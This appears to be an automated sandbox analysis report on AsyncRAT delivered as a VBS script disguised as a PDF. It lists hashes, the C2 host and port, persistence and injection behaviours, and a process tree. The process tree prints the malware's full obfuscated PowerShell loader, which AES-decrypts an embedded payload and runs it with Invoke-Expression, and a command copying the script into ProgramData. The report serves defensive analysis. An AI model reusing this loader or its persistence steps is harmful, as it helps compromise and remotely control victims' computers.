Analysis

  • max time kernel
    420s
  • max time network
    589s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-07-2024 18:17

General

  • Target

    33049587783_SC_PDF.vbs

  • Size

    124KB

  • MD5

    21240c47b62ab8ec3a2c5bd3a8346139

  • SHA1

    e7cec79c61f05c0098fb482752204e6cc98bc256

  • SHA256

    6c3b11ec24150c5a9fd09c81a747494aa356c9d26ebe93dee5fd99b751f53e42

  • SHA512

    0c277c57b1b7d5c87eb8b417a30a3224fc79f4e02f4056962a7769c16823c62254d2fb7b3fd2b0e324d936ad834ff2f6440813da0ebd4a23510cab3a738dd813

  • SSDEEP

    3072:+50KKKKKKKKUKKKKKKKKsKKKKKKKKqDyKKKKKKKKg8KKKKKKKKjZzAfKKKKKKKKj:+aKKKKKKKKUKKKKKKKKsKKKKKKKKqWKp

Malware Config

Extracted

Family

asyncrat

Botnet

Default

C2

anargaz.duckdns.org:2011

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\33049587783_SC_PDF.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4920
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI05500911371231083221953259509636CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnI9MEGrRzIZ0AnAInnCBAAvc0WhrmAYvGHrar3C0tXRQdwheH6vDW4uK2psEXYbwmmC0wCiyec6HgNN1x5bdwducD9ETL7/znM+im7NufOkvVcU+fke+s0CL9tZ3FFvkl632aZxXn8aXEq3WXpguovAwFAO0XFjMFO/jNoojqrRncK/Pa1vqm6RcDteTOGL7FSNNZx6UEDKOQLNqinL2zptv39y7tVXlZTK1vOTRHLfbx/2Pge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yZtYOFMLPpV8ZHSyim3867MpKspZB+et4gNWNXVPTKPxf4HdfGIfVq+YfRpLWGsSzlqvs8KpmbjdTXNXYp6EKUKqQvcKYHy3MqIA9K2XOAE2yxnZpRRyGTfEVaSdAcLANVMI7MGAgPmOTDgmdCs+3GcoyC7HFXJYE9AVWWHytIB3ZCUBc622Aep5z5DYDL7YySV6X+pUBYgvbNKWEVRYEkxARP79A3ZFSTi1hPZkjkzx6tXpLoBqBGlbzOBNadV2ohjkzr87Fu3u1M2tj0arON9H9sIUEhn/wbo2LFyawJaQgR8z9j6sCyUfaxuMqN78tryeFRAwDLf/2Yt7Lv83Q4SELdFLCawZf+bkwcudNOAioDc39ayL2F/4oSM4WobXQFRyAoYRJ3rkmr9zvxHu7AG+aoJh0HSTSpWaAE9LDLMZrpwAiwhcFQkfpEWhmwQ8q4J/B2yFrzhqnkDEJKo5ef2rV9yrJjYJTTBMzCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
      2⤵
      • Blocklisted process makes network request
      • Adds Run key to start application
      • Suspicious use of SetThreadContext
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1464
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\desfalco.vbs"
        3⤵
          PID:1716
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
          3⤵
            PID:2428
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3492

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\WZ04RUV6\paste1[1].txt

        Filesize

        156B

        MD5

        ad6c37ef980373e9bcbd14810fad34bc

        SHA1

        9c061a1b3608b7c7f1db7cd06c8246913ee11bda

        SHA256

        ee85057c1a562fc405d03b2b6a651612ac688dff5c9eeae88a0c1e34e17c602c

        SHA512

        30dc26060efcb4fd44be2d74cc4d33654ee0eb9039bd933c80b67afcc938bdba458cfa6bfc43d2ddb2f59dd6f9ddfe66951c56c61709a2dc02eac94e0e2ae97f

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3zmla5zx.bk1.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/1464-28-0x00007FFBF5D00000-0x00007FFBF67C1000-memory.dmp

        Filesize

        10.8MB

      • memory/1464-29-0x00007FFBF5D00000-0x00007FFBF67C1000-memory.dmp

        Filesize

        10.8MB

      • memory/1464-24-0x00007FFBF5D00000-0x00007FFBF67C1000-memory.dmp

        Filesize

        10.8MB

      • memory/1464-25-0x00007FFBF5D00000-0x00007FFBF67C1000-memory.dmp

        Filesize

        10.8MB

      • memory/1464-26-0x00007FFBF5D00000-0x00007FFBF67C1000-memory.dmp

        Filesize

        10.8MB

      • memory/1464-27-0x00007FFBF5D03000-0x00007FFBF5D05000-memory.dmp

        Filesize

        8KB

      • memory/1464-13-0x00007FFBF5D03000-0x00007FFBF5D05000-memory.dmp

        Filesize

        8KB

      • memory/1464-23-0x0000017ED6FF0000-0x0000017ED7012000-memory.dmp

        Filesize

        136KB

      • memory/1464-30-0x0000017EE74D0000-0x0000017EE76BC000-memory.dmp

        Filesize

        1.9MB

      • memory/1464-35-0x00007FFBF5D00000-0x00007FFBF67C1000-memory.dmp

        Filesize

        10.8MB

      • memory/3492-32-0x0000000000400000-0x0000000000416000-memory.dmp

        Filesize

        88KB

      • memory/3492-36-0x0000000005860000-0x00000000058FC000-memory.dmp

        Filesize

        624KB

      • memory/3492-37-0x0000000005EB0000-0x0000000006454000-memory.dmp

        Filesize

        5.6MB

      • memory/3492-38-0x0000000005900000-0x0000000005966000-memory.dmp

        Filesize

        408KB